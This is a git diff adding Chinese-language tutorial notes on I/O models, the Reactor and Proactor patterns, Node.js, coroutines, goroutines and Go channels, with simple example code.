但同样,现在的大部分操作系统也会提供非阻塞I/O 系统调用接口(Nonblocking I/O system call)。 一个非阻塞调用不会挂起调用程序, 而是会立即返回一个值,表示有多少bytes 的数据被成功读取(或写入)。
|
||||
|
||||
非阻塞I/O 系统调用( nonblocking system call )的另一个替代品是 异步I/O系统调用 (asychronous system call)。 与非阻塞 I/O 系统调用类似,asychronous system call 也是会立即返回, 不会等待 I/O 操作的完成, 应用程序可以继续执行其他的操作, 等到 I/O 操作完成了以后,操作系统会通知调用进程(设置一个用户空间特殊的变量值 或者 触发一个 signal 或者 产生一个软中断 或者 调用应用程序的回调函数)。
|
||||
|
||||
非阻塞I/O 系统调用( nonblocking system call ) 和 **异步I/O系统调用 (asychronous system call)**的区别是:
|
||||
- 一个非阻塞I/O 系统调用 read() 操作立即返回的是任何可以立即拿到的数据, 可以是完整的结果, 也可以是不完整的结果, 还可以是一个空值。
|
||||
- 异步I/O系统调用 read()结果必须是完整的,但是这个操作完成的通知可以延迟到将来的一个时间点。
|
||||
|
||||
总结:
|
||||
- 阻塞/非阻塞, 同步/异步的概念要注意讨论的上下文
|
||||
- 在进程通信层面, 阻塞/非阻塞, 同步/异步基本是同义词, 但是需要注意区分讨论的对象是发送方还是接收方,发送方阻塞/非阻塞(同步/异步)和接收方的阻塞/非阻塞(同步/异步) 是互不影响的。
|
||||
- 在 IO 系统调用层面( IO system call )层面, 非阻塞IO 系统调用 和 异步IO 系统调用存在着一定的差别, 它们都不会阻塞进程, 但是返回结果的方式和内容有所差别, 但是都属于非阻塞系统调用( non-blocing system call )
|
||||
- 阻塞系统调用(non-blocking I/O system call 与 asynchronous I/O system call) 的存在可以用来实现线程级别的 I/O 并发, 与通过多进程实现的 I/O 并发相比可以减少内存消耗以及进程切换的开销。
|
||||
|
||||
## 二 I/O模型总结
|
||||
|
||||
### 2.0 I/O模型汇总
|
||||
|
||||
Unix网络编程中,可以利用的IO模型有5种:
|
||||
- 阻塞IO
|
||||
- 非阻塞IO
|
||||
- 多路复用IO
|
||||
- 信号驱动IO
|
||||
- 异步IO
|
||||
|
||||
### 2.1 阻塞I/O模型
|
||||
|
||||
阻塞I/O是最传统的一种IO模型,即在读写数据过程中会发生阻塞现象。当用户线程发出IO请求之后,内核会去查看数据是否就绪,如果没有就绪就会等待数据就绪,而用户线程就会处于阻塞状态,用户线程交出CPU。当数据就绪之后,内核会将数据拷贝到用户线程,并返回结果给用户线程,用户线程才解除block状态。
|
||||
|
||||
典型的阻塞IO模型的例子为:
|
||||
```c
|
||||
data = socket.read();
|
||||
```
|
||||
|
||||
如果数据没有就绪,就会一直阻塞在read()方法。
|
||||
|
||||
### 2.2 非阻塞IO模型
|
||||
|
||||
当用户线程发起一个read操作后,并不需要等待,而是马上就得到了一个结果。如果结果是一个error时,它就知道数据还没有准备好,于是它可以再次发送read操作。一旦内核中的数据准备好了,并且又再次收到了用户线程的请求,那么它马上就将数据拷贝到了用户线程,然后返回。
|
||||
|
||||
所以事实上,在非阻塞IO模型中,用户线程需要不断地询问内核数据是否就绪,也就说非阻塞IO不会交出CPU,而会一直占用CPU,典型的非阻塞IO模型一般如下:
|
||||
```c
|
||||
while(true){
|
||||
data = socket.read();
|
||||
if(data!= error){
|
||||
// 处理数据
|
||||
break;
|
||||
}
|
||||
}
|
||||
```
|
||||
但是对于非阻塞IO就有一个非常严重的问题,在while循环中需要不断地去询问内核数据是否就绪,这样会导致CPU占用率非常高,因此一般情况下很少使用while循环这种方式来读取数据。
|
||||
|
||||
### 2.3 多路复用IO模型
|
||||
|
||||
多路复用IO模型是目前使用得比较多的模型,如Java的NIO。在多路复用IO模型中,会有一个线程不断去轮询多个socket的状态,只有当socket真正有读写事件时,才真正调用实际的IO读写操作。因为在多路复用IO模型中,只需要使用一个线程就可以管理多个socket,系统不需要建立新的进程或者线程,也不必维护这些线程和进程,并且只有在真正有socket读写事件进行时,才会使用IO资源,所以它大大减少了资源占用。
|
||||
|
||||
在Java NIO中,是通过selector.select()去查询每个通道是否有到达事件,如果没有事件,则一直阻塞在那里,因此这种方式会导致用户线程的阻塞。
|
||||
|
||||
采用 多线程+ 阻塞IO 也能达到类似的效果,但是此时每个socket对应一个线程,这样会造成很大的资源占用,并且尤其是对于长连接来说,线程的资源一直不会释放,如果后面陆续有很多连接的话,就会造成性能上的瓶颈。而多路复用IO模式,通过一个线程就可以管理多个socket,只有当socket真正有读写事件发生才会占用资源来进行实际的读写操作。因此,多路复用IO比较适合连接数比较多的情况。
|
||||
|
||||
另外多路复用IO为何比非阻塞IO模型的效率高是因为在非阻塞IO中,不断地询问socket状态是通过用户线程去进行的,而在多路复用IO中,轮询每个socket状态是内核在进行的,这个效率要比用户线程要高的多。
|
||||
|
||||
不过要注意的是,多路复用IO模型是通过轮询的方式来检测是否有事件到达,并且对到达的事件逐一进行响应。因此对于多路复用IO模型来说,一旦事件响应体很大,那么就会导致后续的事件迟迟得不到处理,并且会影响新的事件轮询。
|
||||
|
||||
### 2.4 信号驱动I/O模型
|
||||
|
||||
在信号驱动IO模型中,当用户线程发起一个IO请求操作,会给对应的socket注册一个信号函数,然后用户线程会继续执行,当内核数据就绪时会发送一个信号给用户线程,用户线程接收到信号之后,便在信号函数中调用IO读写操作来进行实际的IO请求操作。
|
||||
|
||||
### 2.5 异步IO模型
|
||||
|
||||
异步IO模型是最理想的IO模型:当用户线程发起read操作之后,立刻就可以开始去做其它的事。而另一方面,从内核的角度,当它收到一个asynchronous read之后,它会立刻返回,说明read请求已经成功发起了,因此不会对用户线程产生任何block。然后,内核会等待数据准备完成,接着将数据拷贝到用户线程,当这一切都完成之后,内核会给用户线程发送一个信号,告诉它read操作完成了。在此过程中用户线程完全不需要知道实际的整个IO操作是如何进行的,只需要先发起一个请求,当接收内核返回的成功信号时表示IO操作已经完成,可以直接去使用数据了。
|
||||
|
||||
在异步IO模型中,IO操作的两个阶段都不会阻塞用户线程,这两个阶段都是由内核自动完成,然后发送一个信号告知用户线程操作已完成。用户线程中不需要再次调用IO函数进行具体的读写。这点是和信号驱动模型有所不同的,在信号驱动模型中,当用户线程接收到信号表示数据已经就绪,然后需要用户线程调用IO函数进行实际的读写操作;而在异步IO模型中,收到信号表示IO操作已经完成,不需要再在用户线程中调用iO函数进行实际的读写操作。
|
||||
|
||||
异步IO是需要操作系统的底层支持,在Java 7中,提供了Asynchronous IO。也只有异步IO才真正的异步IO,其他的IO模型都是同步IO,因为无论是多路复用IO还是信号驱动模型,IO操作的第2个阶段都会引起用户线程阻塞,也就是内核进行数据拷贝的过程都会让用户线程阻塞。
|
||||
|
||||
## 二 高性能I/O设计模式
|
||||
|
||||
### 2.1 多进程
|
||||
|
||||
每到达一个请求,我们为这个请求新创建一个进程来处理。这样,一个进程在等待 IO 时,其他的进程可以被调度执行,更加充分地利用 CPU 等资源。但是每新创建一个进程都会消耗一定的内存空间,且进程切换也有时间消耗,高并发时,大量进程来回切换的时间开销会变得明显起来。
|
||||
|
||||
### 2.2 多线程模式
|
||||
|
||||
在传统的网络服务设计模式中,有两种比较经典的模式:一种是 多线程,一种是线程池。
|
||||
|
||||
对于多线程模式,也就说来了client,服务器就会新建一个线程来处理该client的读写事件,如下图所示:
|
||||
|
||||
![](../images/go/02-13.png)
|
||||
|
||||
这种模式虽然处理起来简单方便,但是由于服务器为每个client的连接都采用一个线程去处理,使得资源占用非常大。因此,当连接数量达到上限时,再有用户请求连接,直接会导致资源瓶颈,严重的可能会直接导致服务器崩溃。
|
||||
|
||||
### 2.3 线程池模式
|
||||
|
||||
为了解决这种一个线程对应一个客户端模式带来的问题,提出了采用线程池的方式,也就说创建一个固定大小的线程池,来一个客户端,就从线程池取一个空闲线程来处理,当客户端处理完读写操作之后,就交出对线程的占用。因此这样就避免为每一个客户端都要创建线程带来的资源浪费,使得线程可以重用。
|
||||
|
||||
### 2.4 Reactor模式
|
||||
|
||||
在Reactor模式中,会先对每个client注册感兴趣的事件,然后有一个线程专门去轮询每个client是否有事件发生,当有事件发生时,便顺序处理每个事件,当所有事件处理完之后,便再转去继续轮询,如下图所示:
|
||||
|
||||
![](../images/go/02-14.png)
|
||||
|
||||
从这里可以看出,上面的五种IO模型中的多路复用IO就是采用Reactor模式。注意,上面的图中展示的 是顺序处理每个事件,当然为了提高事件处理速度,可以通过多线程或者线程池的方式来处理事件。
|
||||
|
||||
### 2.5 Proactor模式
|
||||
|
||||
在Proactor模式中,当检测到有事件发生时,会新起一个异步操作,然后交由内核线程去处理,当内核线程完成IO操作之后,发送一个通知告知操作已完成,可以得知,异步IO模型采用的就是Proactor模式。
|
||||
|
||||
## 三 杰出代表Node.js
|
||||
|
||||
Node.js是在v8引擎基础上开发的javascript运行时,为javascript提供了模块化、文件IO、Socket编程等支持。其架构如图所示:
|
||||
|
||||
![](../images/go/02-15.png)
|
||||
|
||||
他们分别是:
|
||||
- Node.js 标准库,这部分是由 Javascript编写的,即我们使用过程中直接能调用的 API。在源码中的 lib 目录下可以看到。
|
||||
- Node bindings,这一层是 Javascript与底层 C/C++ 能够沟通的关键,前者通过 bindings 调用后者,相互交换数据。实现在 node.cc
|
||||
- 这一层是支撑 Node.js 运行的关键,由 C/C++ 实现。
|
||||
- V8:Google 推出的 Javascript VM,也是 Node.js 为什么使用的是 Javascript的关键,它为 Javascript提供了在非浏览器端运行的环境,它的高效是 Node.js 之所以高效的原因之一。
|
||||
- Libuv:它为 Node.js 提供了跨平台,线程池,事件池,异步 I/O 等能力,是 Node.js 如此强大的关键。
|
||||
- C-ares:提供了异步处理 DNS 相关的能力。
|
||||
- http_parser、OpenSSL、zlib 等:提供包括 http 解析、SSL、数据压缩等其他的能力。
|
||||
|
||||
一个基础的node http web server:
|
||||
```js
|
||||
const http = require('http');
|
||||
|
||||
http.createServer((req, res) => {
|
||||
res.writeHeader(200, {"Content-Type" : "text/plain"});
|
||||
res.write("Hello world!");
|
||||
res.end();
|
||||
}).listen(9000);
|
||||
```
|
||||
|
||||
Node.js的http模型:
|
||||
![](../images/go/02-16.png)
|
||||
|
||||
Node中的事件驱动:Event Loop is a programming construct that waits for and dispatches events or messages in a program
|
||||
- 1、每个Node.js进程只有一个主线程在执行程序代码,形成一个执行栈(execution context stack)。
|
||||
- 2、主线程之外,还维护了一个"事件队列"(Event queue)。当用户的网络请求或者其它的异步操作到来时,node都会把它放到Event Queue之中,此时并不会立即执行它,代码也不会被阻塞,继续往下走,直到主线程代码执行完毕。
|
||||
- 3、主线程代码执行完毕完成后,然后通过Event Loop,也就是事件循环机制,开始到Event Queue的开头取出第一个事件,从线程池中分配一个线程去执行这个事件,接下来继续取出第二个事件,再从线程池中分配一个线程去执行,然后第三个,第四个。主线程不断的检查事件队列中是否有未执行的事件,直到事件队列中所有事件都执行完了,此后每当有新的事件加入到事件队列中,都会通知主线程按顺序取出交EventLoop处理。当有事件执行完毕后,会通知主线程,主线程执行回调,线程归还给线程池。
|
||||
- 4、主线程不断重复上面的第三步。
|
72
02-并发编程/00-5-并发简略-协程.md
Normal file
72
02-并发编程/00-5-并发简略-协程.md
Normal file
@ -0,0 +1,72 @@
|
||||
## 一 理解协程
|
||||
|
||||
> 协程:也称为纤程(Coroutine), 是一个特殊的函数,这个函数可以在某个地方挂起,并且可以重新在挂起处外继续运行。
|
||||
|
||||
协程与进程、线程相比并不是一个维度的概念,协程不是被操作系统内核所管理的,而是完全由程序所控制,也就是在用户态执行。这样带来的好处是性能大幅度的提升,因为不会像线程切换那样消耗资源。
|
||||
|
||||
正如一个进程可以拥有多个线程一样,一个线程可以拥有多个协程(目前的协程框架一般都是设计成 1:N 模式)。
|
||||
|
||||
注意:
|
||||
- 多个进程或一个进程内的多个线程是可以并行运行的
|
||||
- 一个线程内的多个协程却是串行的,无论CPU有多少个核,因为协程本质上还是一个函数,当一个协程运行时,其它协程必须挂起
|
||||
- 但是协程的切换过程只有用户态,即没有陷入内核态,因此切换效率比进程和线程高很多
|
||||
|
||||
协程自己会主动适时的让出 CPU,也就是说每个协程池里面有一个调度器,这个调度器是被动调度的。意思就是他不会主动调度。而且当一个协程发现自己执行不下去了(比如异步等待网络的数据回来,但是当前还没有数据到),这个时候就可以由这个协程通知调度器,这个时候执行到调度器的代码,调度器根据事先设计好的调度算法找到当前最需要 CPU 的协程。切换这个协程的 CPU 上下文把 CPU 的运行权交个这个协程,直到这个协程出现执行不下去需要等等的情况,或者它调用主动让出 CPU 的 API 之类,触发下一次调度。
|
||||
|
||||
## 二 协程的优缺点
|
||||
|
||||
优点:
|
||||
- 占用小:协程更加轻量,创建成本更小,降低了内存消耗,协程一般只占据极小的内存(2~5KB),而线程是1MB左右。虽然线程和协程都是独有栈,但是线程栈是固定的,比如在Java中,基本是2M,假如一个栈只有一个打印方法,还要为此开辟一个2M的栈,就太浪费了。而Go的的协程具备动态收缩功能,初始化为2KB,最大可达1GB
|
||||
- 运行效率高:线程切换需要从用户态->内核态->用户态,而协程切换是在用户态上,即用户态->用户态->用户态,其切换过程由语言层面的调度器(coroutine)或者语言引擎(goroutine)实现。
|
||||
- 减少了同步锁:协程最终还是运行在线程上,本质上还是单线程运行,没有临界区域的话自然不需要锁的机制。多协程自然没有竞争关系。但是,如果存在临界区域,依然需要使用锁,协程可以减少以往必须使用锁的场景
|
||||
- 同步代码思维写出异步代码
|
||||
|
||||
缺点:
|
||||
- 无法利用多核资源:协程运行在线程上,单线程应用无法很好的利用多核,只能以多进程方式启动。
|
||||
- 协程不能有阻塞操作:线程是抢占式,线程在遇见IO操作时候,线程从运行态→阻塞态,释放cpu使用权。这是由操作系统调度。协程是非抢占式,如果遇见IO操作时候,协程是主动释放执行权限的,如果无法主动释放,程序将阻塞,无法往下执行,随之而来是整个线程被阻塞。
|
||||
- CPU密集型不是长处:假设这个线程中有一个协程是 CPU 密集型的他没有 IO 操作,也就是自己不会主动触发调度器调度的过程,那么就会出现其他协程得不到执行的情况,所以这种情况下需要程序员自己避免。
|
||||
|
||||
应用场景:
|
||||
- 高性能计算,牺牲公平性换取吞吐。协程最早来自高性能计算领域的成功案例,协作式调度相比抢占式调度而言,可以在牺牲公平性时换取吞吐
|
||||
- IO Bound 的任务:虽然异步IO在数据到达的时候触发回调,减少了线程切换带来性能损失,但是该思想不符合人类的思维模式。异步回调在破坏点思维连贯性的同时也破坏掉了程序的连贯性,让你在阅读程序的时候花费更多的精力。但是协程可以很好解决这个问题。比如把一个 IO 操作 写成一个协程。当触发 IO 操作的时候就自动让出 CPU 给其他协程。要知道协程的切换很轻的。协程通过这种对异步 IO 的封装既保留了性能也保证了代码的容易编写和可读性。
|
||||
|
||||
## 三 协程的简单实现
|
||||
|
||||
ES6提供了一种新的方法名叫Generator。Generator的执行过程可以被暂停和恢复,所以它被认为是ES6中的协程,但严格地说,Generator只是半协程(semi-coroutine),因为虽然它可以主动放弃执行权,但是它并没有告知运行环境,下一步哪个协程会被调用。当一个Generator被调用时,它的代码并不会被执行,调用者得到的是它的观察者(Observer)。调用者通过调用这个观察者的方法,比如next方法,来执行Generator的代码。
|
||||
```js
|
||||
const Q = [];
|
||||
const Q_LEN = 10;
|
||||
|
||||
function* produce() {
|
||||
while (Q.length < Q_LEN) {
|
||||
const item = Date.now();
|
||||
Q.push(item);
|
||||
console.log(`Item ${item} is produced`);
|
||||
if (Q.length === Q_LEN) {
|
||||
yield;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function* consume() {
|
||||
while (Q.length > 0) {
|
||||
const item = Q.pop();
|
||||
console.log(`Item ${item} is consumed`);
|
||||
if (Q.length === 0) {
|
||||
yield;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function bootstrap() {
|
||||
const producer = produce();
|
||||
const consumer = consume();
|
||||
while(true) {
|
||||
producer.next();
|
||||
consumer.next();
|
||||
}
|
||||
}
|
||||
bootstrap();
|
||||
```
|
||||
|
||||
在上面代码中,produce和consume是两个协程。bootstrap方法是这两个协程的调用者,它首先获取produce和consume协程的观察者,然后循环调用观察者的next方法,从而使得生产者和消费者的关系持续运行。在循环过程中,如果produce检测队列已满,它就主动放弃执行权从而被暂停,consume将获得执行权,如果consume检测队列已空,它就主动放弃执行权从而被暂停,produce将重新获得执行权。
|
112
02-并发编程/00-6-并发简略-对比并发模型.md
Normal file
112
02-并发编程/00-6-并发简略-对比并发模型.md
Normal file
@ -0,0 +1,112 @@
|
||||
## 一 并发模型总结
|
||||
- 多进程:
|
||||
- 稳定性高:进程地址空间互相独立,一个进程出现问题,不会影响其他进程。Linux系统是个典型的多进程模型,稳定性极高,适合服务端开发
|
||||
- 开销很大
|
||||
- 多线程:
|
||||
- 开销较小
|
||||
- 协程:
|
||||
- 程序执行效率高
|
||||
- 非阻塞I/O:
|
||||
- 无需痛苦的同步编程
|
||||
|
||||
交换数据方式:
|
||||
- 多进程交换数据方式复杂(管道、消息队列、信号量、共享内存)
|
||||
- 多线程之间交换数据很简单,但会产生竞态条件,需要解决同步问题
|
||||
|
||||
综合而言,多线程方式具备大量优势,但是在处理信号、同时运行多套不同程序以及包含多个需要超大内存支持的任务等,多进程方式更适合,而协程和非阻塞IO则更能充分的提升程序的运行效率。
|
||||
|
||||
## 二 线程不一定比进程轻量
|
||||
|
||||
理论上,线程之间共享内存,创建新线程的时候不需要创建真正的虚拟内存空间,也不需要 MMU(内存管理单元)上下文切换。此外,线程间通信比进程之间通信更加简单,主要是因为线程之间有共享内存,而进程通信往往需要利用各种模式的 IPC(进程间通信),如信号量,消息队列,管道等。
|
||||
|
||||
但是在多处理器操作系统中,线程并不一定比进程更高效:例如 Linux 就是不区分线程和进程的,两者在 Linux 都被称作任务(task)。每个任务在 cloned 的时候都有一个介于最小到最大之间的共享级别。
|
||||
- 调用 fork() 创建任务时,创建的是一个没有共享文件描述符,PID 和内存空间的新任务。而调用 pthread_create() 创建任务时,创建的任务将包含上述所有共享资源。
|
||||
- 线程之间保持共享内存与多核的L1缓存中的数据同步,与在隔离内存中运行不同的进程相比,需要付出更加大的代价。
|
||||
|
||||
## 三 线程的改进方向
|
||||
|
||||
线程变慢的主要三个原因:
|
||||
- 线程自身有一个很大的堆(≥ 1MB)占用了大量内存,如果一下创建 1000 个线程意味着需要 1GB 的内存!!!!!
|
||||
- 线程需要重复存储许多寄存器,其中一些包括 AVX(高级向量扩展),SSE(流式 SIMD 外设),浮点寄存器,程序计数器(PC),堆栈指针(SP),这会降低应用程序性能。
|
||||
- 线程创建和消除需要调用操作系统以获取资源(例如内存),而这一操作相对是比较慢的。
|
||||
|
||||
## 四 goroutine
|
||||
|
||||
Goroutines 是在 Golang 中执行并发任务的方式,不过要切记:
|
||||
> Goroutines仅存在于 Go 运行时而不存在于 OS 中,因此需要 Go调度器(GoRuntimeScheduler) 来管理它们的生命周期。
|
||||
|
||||
Go运行时为此维护了三个C结构(https://golang.org/src/runtime/runtime2.go):
|
||||
- G 结构:表示单个 Goroutine,包含跟踪其堆栈和当前状态所需的对象。还包含自己负责的代码的引用。
|
||||
- M 结构:表示 OS 线程。包含一些对象指针,例如全局可执行的 Goroutines 队列,当前运行的 Goroutine,它自己的缓存以及对 Go 调度器的引用。
|
||||
- P 结构:也做Sched结构,它是一个单一的全局对象,用于跟踪 Goroutine 和 M 的不同队列以及调度程序运行时需要的其他一些信息,例如单一全局互斥锁(Global Sched Lock)。
|
||||
|
||||
G 结构主要存在于两种队列之中,一个是 M (线程)可以找到任务的可执行队列,另外一个是一个空闲的 Goroutine 列表。调度程序维护的 M(执行线程)只能每次关联其中一个队列。为了维护这两种队列并进行切换,就必须维持单一全局互斥锁(Global Sched Lock)。
|
||||
|
||||
因此,在启动时,go 运行空间会为 GC,调度程序和用户代码启动许多 Goroutine。并创建 OS 线程来处理这些 Goroutine。不过创建的线程数量最多可以等于 GOMAXPROCS(默认为 1,但为了获得最佳性能,通常设置为计算机上的处理器数量)。
|
||||
|
||||
## 五 协程对比线程的改进
|
||||
|
||||
为了使运行时的堆栈更小,go 在运行期间使用了大小可调整的有限堆栈,并且初始大小只有 2KB/goroutine。新的 Goroutine 通常会分配几 kb 的空间,这几乎总是足够的。如果不够的话,运行空间还能自动增长(或者缩小)内存来实现堆栈的管理,从而让大部分 Goroutine 存在于适量的内存中。每个函数调用的平均 CPU 开销大概是三个简单指令。因此在同一地址空间中创建数十万个 Goroutine 是切实可行的。但是如果 Goroutine 是线程的话,系统资源将很快被消耗完。
|
||||
|
||||
## 六 协程阻塞
|
||||
|
||||
当 Goroutine 进行阻塞调用时,例如通过调用阻塞的系统调用,这时调用的线程必须阻塞,go 的运行空间会操作自动将同一操作系统线程上的其他 Goroutine,将它们移动到从调度程序(Sched Struct)的线程队列中取出的另一个可运行的线程上,所以这些 Goroutine 不会被阻塞。因此,运行空间应至少创建一个线程,以继续执行不在阻塞调用中的其他 Goroutine。 而且关键的是程序员是看不到这一点的。结论是,我们称之为 Goroutines 的事物,可以是很低廉的:它们在堆栈的内存之外几乎没有开销,而内存中也只有几千字节。
|
||||
|
||||
Go 协程也可以很好地扩展。
|
||||
|
||||
但是,如果你使用只存在于 Go 的虚拟空间的 channels 进行通信(产生阻塞时),操作系统将不会阻塞该线程。 只是让该 Goroutine 进入等待状态,并安排另一个可运行的 Goroutine(来自 M 结构关联的可执行队列)它的位置。
|
||||
|
||||
## 七 Go Runtime Scheduler
|
||||
|
||||
Go Runtime Scheduler 跟踪记录每个 Goroutine,并安排它们依次地在进程的线程池中运行。
|
||||
|
||||
Go Runtime Scheduler 执行协作调度,这意味着只有在当前 Goroutine 阻塞或完成时才会调度另一个 Goroutine,这通过代码可以轻松完成。这里有些例子:
|
||||
- 调用系统调用如文件或网络操作阻塞时
|
||||
- 因为垃圾收集被停止后
|
||||
|
||||
这样比定时阻塞并调度新线程的抢占式调度要好得多,因为当线程数量增加,或者当高优先级任务将被调度运行时,有低优先级的任务已经在运行了(此时低优先级队列将被阻塞),定时抢占调度可能导致某些任务完成花费的时间大大超过实际所需时间。
|
||||
|
||||
另一个优点是,因为 Goroutine 在代码中隐式调用的,例如在睡眠或 channel 等待期间,编译只需要安全地恢复在这些时刻处存活的寄存器。在 Go 中,这意味着在上下文切换期间仅更新 3 个寄存器,即 PC,SP 和 DX(数据寄存器) 而不是所有寄存器(例如 AVX,浮点,MMX)。
|
||||
|
||||
## 八 goroutine 与 coroutine
|
||||
|
||||
C#、 Lua、 Python语言都支持协程 coroutine(Java也有一些第三方库支持)。
|
||||
|
||||
coroutine与 goroutine都可以将函数或者语句在独立的环境中运行,但是它们之间有两点不同:
|
||||
- goroutine可能发生并行执行,coroutine始终顺序执行
|
||||
- goroutine 使用 channel 通信,coroutine 使用 yield 和 resume
|
||||
|
||||
> coroutine 程序需要主动交出控制权,宿主才能获得控制权并将控制权交给其他 coroutine
|
||||
|
||||
coroutine 的运行机制属于协作式任务处理。在早期的操作系统中,应用程序在不需要使用 CPU 时,会主动交出 CPU 使用权。如果开发者故意让应用程序长时间占用 CPU,操作系统也无能为力。coroutine 始终发生在单线程。
|
||||
|
||||
> goroutine可能发生在多线程环境下, goroutine无法控制自己获取高优先度支持
|
||||
|
||||
goroutine 属于抢占式任务处理,和现有的多线程和多进程任务处理非常类似。应用程序对 CPU 的控制最终还需要由操作系统来管理,操作系统如果发现一个应用程序长时间大量地占用 CPU,那么用户有权终止这个任务。
|
||||
|
||||
## 九 Go协程总结
|
||||
|
||||
Go协程的特点:
|
||||
- 有独立的栈空间
|
||||
- 共享程序堆空间
|
||||
- 调度由用户控制
|
||||
|
||||
注意:
|
||||
- Go程序在启动时,就会为main函数创建一个默认的goroutine,也就是入口函数main本身也是一个协程
|
||||
- 如果主线程退出了,则协程即使还没有执行完毕也退出
|
||||
|
||||
单纯的将函数并发执行是没有意义的,函数与函数之间必须能够交换数据才能体现并发执行函数的意义。为了实现数据的通信,有两种常见并发模型:
|
||||
- 共享数据:一般使用共享内存方式来共享数据,Go中的实现方式为互斥锁(sync包)。
|
||||
- 消息:消息机制认为每个并发单元都是独立个体,拥有自己的变量。不同的并发单元之间不共享各自的变量,只通过消息来进行数据输入输出,Go中的实现方式为channle。
|
||||
|
||||
在Go中对上述两种方式都进行了实现,但是Go不推荐共享数据方式,推荐channel的方式进行协程通信。因为多个 goroutine 为了争抢数据,容易发生竞态问题,会造成执行的低效率,使用队列的方式是最高效的, channel 就是一种队列一样的结构。
|
||||
|
||||
如图所示:
|
||||
![](../images/go/02-04.svg)
|
||||
|
||||
channel特性:
|
||||
- channel的本质是一个数据结构-队列,先进先出
|
||||
- channel是线程安全的,多goroutine访问时,不需要加锁,因为在任何时候,同时只能有一个goroutine访问通道。
|
||||
- channel拥有类型,一个string的channle只能存放string类型数据
|
||||
|
||||
golang奉行通过通信来共享内存,而不是通过共享内存来通信。
|
129
02-并发编程/01-goroutine.md
Normal file
129
02-并发编程/01-goroutine.md
Normal file
@ -0,0 +1,129 @@
|
||||
## 一 Golang对协程的支持
|
||||
|
||||
Go语言从语言层面原生提供了协程支持,即 `goroutine`,执行goroutine只需极少的栈内存(大概是4~5KB),所以Go可以轻松的运行多个并发任务。
|
||||
|
||||
Go中以关键字 `go` 开启协程:
|
||||
```go
|
||||
func say(s string) {
|
||||
for i := 0; i < 3; i++ {
|
||||
fmt.Println(s)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
go say("Go") // 以协程方式执行say函数
|
||||
say("noGo") // 以普通方式执行say函数
|
||||
time.Sleep(5 * time.Second) // 睡眠5秒:防止协程未执行完毕,主程序退出
|
||||
}
|
||||
```
|
||||
|
||||
上述的程序的打印结果并不是按照顺序的,因为go关键字开启了协程,两个say函数并不是在一个控制流中!
|
||||
|
||||
## 二 goroutine使用案例
|
||||
|
||||
### 2.1 同时执行两件事
|
||||
|
||||
```go
|
||||
func running() {
|
||||
var times int
|
||||
for {
|
||||
times++
|
||||
fmt.Println("tick:", times)
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
go running()
|
||||
var input string
|
||||
fmt.Scanln(&input)
|
||||
}
|
||||
```
|
||||
命令行会不断地输出 tick,同时可以使用 `fmt.Scanln()` 接受用户输入。两个环节可以同时进行,直到按 Enter键时将输入的内容写入 input变量中井返回,
|
||||
整个程序终止。
|
||||
|
||||
### 2.2 一道基础面试题
|
||||
|
||||
示例一:
|
||||
```go
|
||||
for i := 1; i <= 10; i++ {
|
||||
go func(){
|
||||
fmt.Println(i) // 全部打印11:因为开启协程也会耗时,协程没有准备好,循环已经走完
|
||||
}()
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
```
|
||||
|
||||
示例二:
|
||||
```go
|
||||
for i := 1; i <= 10; i++ {
|
||||
go func(i int){
|
||||
fmt.Println(i) // 打印无规律数字
|
||||
}(i)
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
```
|
||||
|
||||
## 三 常用API
|
||||
|
||||
### 3.1 GOMAXPROCS() 多核利用
|
||||
|
||||
goroutine相关API位于 `runtime` 包。
|
||||
|
||||
如果Go程序要运行在多核上,则可以如下操作,此时可以实现程序的并行执行:
|
||||
```go
|
||||
cpuNum := runtime.NumCPU() //获取当前系统的CPU核心数
|
||||
runtime.GOMAXPROCS(cpuNum) //Go中可以轻松控制使用核心数
|
||||
```
|
||||
贴士:在Go1.5之后,程序已经默认运行在多核上,无需上述设置
|
||||
|
||||
### 3.2 Gosched() 让出时间片
|
||||
|
||||
`runtime.Gosched()`:用于让出CPU时间片,即让出当前协程的执行权限,调度器可以去安排其他等待的任务运行。示例如下:
|
||||
```Go
|
||||
func main(){
|
||||
for i := 1; i <= 10; i++ {
|
||||
go func(i int){
|
||||
if i == 5 {
|
||||
runtime.Gosched() // 协程让出,但并不代表不执行,而是 5永远不会第一输出
|
||||
}
|
||||
fmt.Println(i) // 打印一组无规律数字
|
||||
}(i)
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
```
|
||||
|
||||
贴士:可以理解为接力赛跑:A跑了一段遇到了Gosched接力给B。
|
||||
|
||||
### 3.3 Goexit() 终止当前协程
|
||||
|
||||
`runtime.Goexit()`:用于立即终止当前协程运行,调度器会确保所有已注册defer延迟调用被执行。
|
||||
|
||||
```go
|
||||
func main(){
|
||||
for i := 1; i <= 5; i++ {
|
||||
defer fmt.Println("defer ", i)
|
||||
go func(i int){
|
||||
if i == 3 {
|
||||
runtime.Goexit()
|
||||
}
|
||||
fmt.Println(i)
|
||||
}(i)
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
}
|
||||
```
|
||||
|
||||
输出的结果类似于:
|
||||
```
|
||||
4
|
||||
2
|
||||
5
|
||||
1
|
||||
defer 5
|
||||
defer 4
|
||||
defer 3
|
||||
defer 2
|
||||
defer 1
|
||||
```
|
144
02-并发编程/02-channel.md
Normal file
144
02-并发编程/02-channel.md
Normal file
@ -0,0 +1,144 @@
|
||||
## 一 channel简介
|
||||
|
||||
如果在程序中开启了多个goroutine,那么这些goroutine之间该如何通信呢?
|
||||
|
||||
go提供了一个channel(管道)数据类型,可以解决协程之间的通信问题!channel的本质是一个队列,遵循先进先出规则(FIFO),内部实现了同步,确保了并发安全!
|
||||
|
||||
## 二 channel的创建
|
||||
|
||||
### 2.0 channel的语法
|
||||
|
||||
channel在创建时,可以设置一个可选参数:缓冲区容量
|
||||
- 创建有缓冲channel:`make(chan int, 10)`,创建一个缓冲长度为10的channel
|
||||
- 创建无缓冲channel:`make(chan int)`,其实就是第二个参数为0
|
||||
|
||||
channel内可以存储多种数据类型,如下所示:
|
||||
```go
|
||||
ci := make(chan int)
|
||||
cs := make(chan string)
|
||||
cf := make(chan interface{})
|
||||
```
|
||||
|
||||
从管道中读取,或者向管道写入数据,使用运算符:`<-`,他在channel的左边则是读取,右边则代表写入:
|
||||
